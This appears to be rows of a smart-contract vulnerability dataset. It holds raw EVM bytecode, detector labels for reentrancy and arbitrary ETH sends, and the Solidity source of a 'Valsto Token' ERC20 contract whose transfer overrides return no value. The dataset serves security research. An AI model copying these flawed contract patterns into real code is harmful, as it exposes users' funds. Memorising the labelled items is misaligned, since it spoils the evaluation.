1f820116820180604052508101906115f09190613143565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016116e3929190613483565b602060405180830381600087803b1580156116fd57600080fd5b505af1158015611711573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061173591906130f1565b5050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611821611852565b73ffffffffffffffffffffffffffffffffffffffff161461184157600080fd5b600047905061184f816124c7565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c19061368a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119319061358a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a1891906136ca565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8c9061366a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc9061354a565b60405180910390fd5b80611b0f84610a62565b1015611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b47906135ca565b60405180910390fd5b611b58610d44565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bc65750611b96610d44565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156120eb57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c6f5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611c7857600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580611d745750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d735750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b15611dbf57601254811115611dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db59061360a565b60405180910390fd5b5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611e695760135481611e1d84610a62565b611e279190613800565b1115611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f906135ea565b60405180910390fd5b5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f145750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f6a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f825750601160179054906101000a900460ff165b156120235742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611fd257600080fd5b603c42611fdf9190613800565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061202e30610a62565b9050601160159054906101000a900460ff1615801561209b5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156120b35750601160169054906101000a900460ff165b80156120c15750600b548110155b156120e9576120cf8161215f565b600047905060008111156120e7576120e6476124c7565b5b505b505b6120f68383836125c2565b505050565b6000838311158290612143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213a9190613528565b60405180910390fd5b506000838561215291906138e1565b9050809150509392505050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121eb5781602001602082028036833780820191505090505b5090503081600081518110612229577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122cb57600080fd5b505afa1580156122df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123039190612f5b565b8160018151811061233d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123a430601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185a565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124089594939291906136e5565b600060405180830381600087803b15801561242257600080fd5b505af1158015612436573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60006009548211156124a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124979061356a565b60405180910390fd5b60006124aa6125d2565b90506124bf81846125fd90919063ffffffff16565b915050919050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125176002846125fd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612542573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125936002846125fd90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156125be573d6000803e3d6000fd5b5050565b6125cd838383612647565b505050565b60008060006125df6129b8565b915091506125f681836125fd90919063ffffffff16565b9250505090565b600061263f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a1a565b905092915050565b60008060008060008061265987612a7d565b9550955095509550955095506126b786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ae590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061279b5750600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561289f576127f286600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8960405161289291906136ca565b60405180910390a36129ad565b6128f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293d81612b8d565b6129478483612c4a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129a491906136ca565b60405180910390a35b505050505050505050565b600080600060095490506000683635c9adc5dea0000090506129ee683635c9adc5dea000006009546125fd90919063ffffffff16565b821015612a0d57600954683635c9adc5dea00000935093505050612a16565b81819350935050505b9091565b60008083118290612a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a589190613528565b60405180910390fd5b5060008385612a709190613856565b9050809150509392505050565b6000806000806000806000806000612a9a8a600c54600d54612c84565b9250925092506000612aaa6125d2565b90506000806000612abd8e878787612d1a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b2783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120fb565b905092915050565b6000808284612b3e9190613800565b905083811015612b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b7a906135aa565b60405180910390fd5b8091505092915050565b6000612b976125d2565b90506000612bae8284612da390919063ffffffff16565b9050612c0281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c5f82600954612ae590919063ffffffff16565b600981905550612c7a81600a54612b2f90919063ffffffff16565b600a819055505050565b600080600080612cb06064612ca2888a612da390919063ffffffff16565b6125fd90919063ffffffff16565b90506000612cda6064612ccc888b612da390919063ffffffff16565b6125fd90919063ffffffff16565b90506000612d0382612cf5858c612ae590919063ffffffff16565b612ae590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d338589612da390919063ffffffff16565b90506000612d4a8689612da390919063ffffffff16565b90506000612d618789612da390919063ffffffff16565b90506000612d8a82612d7c8587612ae590919063ffffffff16565b612ae590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612db65760009050612e18565b60008284612dc49190613887565b9050828482612dd39190613856565b14612e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0a9061362a565b60405180910390fd5b809150505b92915050565b6000612e31612e2c8461377f565b61375a565b90508083825260208201905082856020860282011115612e5057600080fd5b60005b85811015612e805781612e668882612e8a565b845260208401935060208301925050600181019050612e53565b5050509392505050565b600081359050612e9981613e09565b92915050565b600081519050612eae81613e09565b92915050565b600082601f830112612ec557600080fd5b8135612ed5848260208601612e1e565b91505092915050565b600081359050612eed81613e20565b92915050565b600081519050612f0281613e20565b92915050565b600081359050612f1781613e37565b92915050565b600081519050612f2c81613e37565b92915050565b600060208284031215612f4457600080fd5b6000612f5284828501612e8a565b91505092915050565b600060208284031215612f6d57600080fd5b6000612f7b84828501612e9f565b91505092915050565b60008060408385031215612f9757600080fd5b6000612fa585828601612e8a565b9250506020612fb685828601612e8a565b9150509250929050565b600080600060608486031215612fd557600080fd5b6000612fe386828701612e8a565b9350506020612ff486828701612e8a565b925050604061300586828701612f08565b9150509250925092565b6000806040838503121561302257600080fd5b600061303085828601612e8a565b925050602061304185828601612ede565b9150509250929050565b6000806040838503121561305e57600080fd5b600061306c85828601612e8a565b925050602061307d85828601612f08565b9150509250929050565b60006020828403121561309957600080fd5b600082013567ffffffffffffffff8111156130b357600080fd5b6130bf84828501612eb4565b91505092915050565b6000602082840312156130da57600080fd5b60006130e884828501612ede565b91505092915050565b60006020828403121561310357600080fd5b600061311184828501612ef3565b91505092915050565b60006020828403121561312c57600080fd5b600061313a84828501612f08565b91505092915050565b60008060006060848603121561315857600080fd5b600061316686828701612f1d565b935050602061317786828701612f1d565b925050604061318886828701612f1d565b9150509250925092565b600061319e83836131aa565b60208301905092915050565b6131b381613915565b82525050565b6131c281613915565b82525050565b60006131d3826137bb565b6131dd81856137de565b93506131e8836137ab565b8060005b838110156132195781516132008882613192565b975061320b836137d1565b9250506001810190506131ec565b5085935050505092915050565b61322f81613927565b82525050565b61323e8161396a565b82525050565b600061324f826137c6565b61325981856137ef565b935061326981856020860161397c565b61327281613ab6565b840191505092915050565b600061328a6023836137ef565b915061329582613ac7565b604082019050919050565b60006132ad602a836137ef565b91506132b882613b16565b604082019050919050565b60006132d06022836137ef565b91506132db82613b65565b604082019050919050565b60006132f3601b836137ef565b91506132fe82613bb4565b602082019050919050565b60006133166026836137ef565b915061332182613bdd565b604082019050919050565b6000613339602b836137ef565b915061334482613c2c565b604082019050919050565b600061335c602d836137ef565b915061336782613c7b565b604082019050919050565b600061337f6021836137ef565b915061338a82613cca565b604082019050919050565b60006133a26020836137ef565b91506133ad82613d19565b602082019050919050565b60006133c56025836137ef565b91506133d082613d42565b604082019050919050565b60006133e86024836137ef565b91506133f382613d91565b604082019050919050565b600061340b6017836137ef565b915061341682613de0565b602082019050919050565b61342a81613953565b82525050565b6134398161395d565b82525050565b600060208201905061345460008301846131b9565b92915050565b600060408201905061346f60008301856131b9565b61347c60208301846131b9565b9392505050565b600060408201905061349860008301856131b9565b6134a56020830184613421565b9392505050565b600060c0820190506134c160008301896131b9565b6134ce6020830188613421565b6134db6040830187613235565b6134e86060830186613235565b6134f560808301856131b9565b61350260a0830184613421565b979650505050505050565b60006020820190506135226000830184613226565b92915050565b600060208201905081810360008301526135428184613244565b905092915050565b600060208201905081810360008301526135638161327d565b9050919050565b60006020820190508181036000830152613583816132a0565b9050919050565b600060208201905081810360008301526135a3816132c3565b9050919050565b600060208201905081810360008301526135c3816132e6565b9050919050565b600060208201905081810360008301526135e381613309565b9050919050565b600060208201905081810360008301526136038161332c565b9050919050565b600060208201905081810360008301526136238161334f565b9050919050565b6000602082019050818103600083015261364381613372565b9050919050565b6000602082019050818103600083015261366381613395565b9050919050565b60006020820190508181036000830152613683816133b8565b9050919050565b600060208201905081810360008301526136a3816133db565b9050919050565b600060208201905081810360008301526136c3816133fe565b9050919050565b60006020820190506136df6000830184613421565b92915050565b600060a0820190506136fa6000830188613421565b6137076020830187613235565b818103604083015261371981866131c8565b905061372860608301856131b9565b6137356080830184613421565b9695505050505050565b60006020820190506137546000830184613430565b92915050565b6000613764613775565b905061377082826139af565b919050565b6000604051905090565b600067ffffffffffffffff82111561379a57613799613a87565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061380b82613953565b915061381683613953565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561384b5761384a613a29565b5b828201905092915050565b600061386182613953565b915061386c83613953565b92508261387c5761387b613a58565b5b828204905092915050565b600061389282613953565b915061389d83613953565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138d6576138d5613a29565b5b828202905092915050565b60006138ec82613953565b91506138f783613953565b92508282101561390a57613909613a29565b5b828203905092915050565b600061392082613933565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061397582613953565b9050919050565b60005b8381101561399a57808201518184015260208101905061397f565b838111156139a9576000848401525b50505050565b6139b882613ab6565b810181811067ffffffffffffffff821117156139d7576139d6613a87565b5b80604052505050565b60006139eb82613953565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1e57613a1d613a29565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460008201527f73206d6178206c696d6974000000000000000000000000000000000000000000602082015250565b7f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560008201527f656473206d6178206c696d697400000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613e1281613915565b8114613e1d57600080fd5b50565b613e2981613927565b8114613e3457600080fd5b50565b613e4081613953565b8114613e4b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122038c398a06618068a63afc903777111691378be5c13643b02be4b8e72c8977ec664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 928 |
0xe80ac7241efbd4a5f11bc24318f0449908580d40 | pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ValstoToken is StandardToken, Ownable {
using SafeMath for uint256;
string public symbol = "VTO";
string public name = "Valsto Token";
uint256 public decimals = 18;
address public merchants;
address public team;
address public contractWallet;
/* Variable to hold team tokens locking period */
uint256 public teamLockUpPeriod;
/* TDE status */
enum State {
Active,
Closed
}
State public state;
event Closed();
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor(address _merchants, address _team, address _contractWallet) public {
owner = msg.sender;
merchants = _merchants;
team = _team;
contractWallet = _contractWallet;
totalSupply_ = 1000000000 ether;
//60% supporters
balances[msg.sender] = 600000000 ether;
//35% merchants
balances[merchants] = 350000000 ether;
//5% team
balances[team] = 50000000 ether;
state = State.Active;
emit Transfer(address(0), msg.sender, balances[msg.sender]);
emit Transfer(address(0), merchants, balances[merchants]);
emit Transfer(address(0), team, balances[team]);
}
modifier checkPeriodAfterTDELock () {
if (msg.sender == team){
require (now >= teamLockUpPeriod && state == State.Closed);
}
_;
}
function transfer(address _to, uint256 _value) public checkPeriodAfterTDELock returns (bool) {
super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public checkPeriodAfterTDELock returns (bool) {
super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public checkPeriodAfterTDELock returns (bool) {
super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public checkPeriodAfterTDELock returns (bool) {
super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public checkPeriodAfterTDELock returns (bool) {
super.decreaseApproval(_spender, _subtractedValue);
}
/**
* @dev Transfer ownership now transfers all owners tokens to new owner
*/
function transferOwnership(address newOwner) public onlyOwner {
balances[newOwner] = balances[newOwner].add(balances[owner]);
emit Transfer(owner, newOwner, balances[owner]);
balances[owner] = 0;
super.transferOwnership(newOwner);
}
/**
* Accept ETH donations only when the TDE event is active
* @dev all ether transfer to valsto wallet automatic
*/
function () public payable {
require(state == State.Active); // Reject the donations after TDE ended
contractWallet.transfer(msg.value);
}
/**
* Close TDE
**/
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
//The team locked period are 2 years
teamLockUpPeriod = now + 730 days;
emit Closed();
}
} | 0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101b1578063095ea7b31461024157806318160ddd146102a657806321e358ff146102d157806323b872dd146102fc578063313ce5671461038157806343d726d6146103ac57806366188463146103c357806370a0823114610428578063715018a61461047f57806385f2aef2146104965780638bcc8801146104ed5780638da5cb5b1461054457806395d89b411461059b578063a9059cbb1461062b578063c19d93fb14610690578063c8e706e2146106c9578063d73dd62314610720578063dd62ed3e14610785578063f2fde38b146107fc575b6000600181111561011f57fe5b600b60009054906101000a900460ff16600181111561013a57fe5b14151561014657600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156101ae573d6000803e3d6000fd5b50005b3480156101bd57600080fd5b506101c661083f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102065780820151818401526020810190506101eb565b50505050905090810190601f1680156102335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561024d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108dd565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610988565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e6610992565b6040518082815260200191505060405180910390f35b34801561030857600080fd5b50610367600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610998565b604051808215151515815260200191505060405180910390f35b34801561038d57600080fd5b50610396610a45565b6040518082815260200191505060405180910390f35b3480156103b857600080fd5b506103c1610a4b565b005b3480156103cf57600080fd5b5061040e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3a565b604051808215151515815260200191505060405180910390f35b34801561043457600080fd5b50610469600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610be5565b6040518082815260200191505060405180910390f35b34801561048b57600080fd5b50610494610c2d565b005b3480156104a257600080fd5b506104ab610d32565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f957600080fd5b50610502610d58565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055057600080fd5b50610559610d7e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105a757600080fd5b506105b0610da4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f05780820151818401526020810190506105d5565b50505050905090810190601f16801561061d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063757600080fd5b50610676600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e42565b604051808215151515815260200191505060405180910390f35b34801561069c57600080fd5b506106a5610eed565b6040518082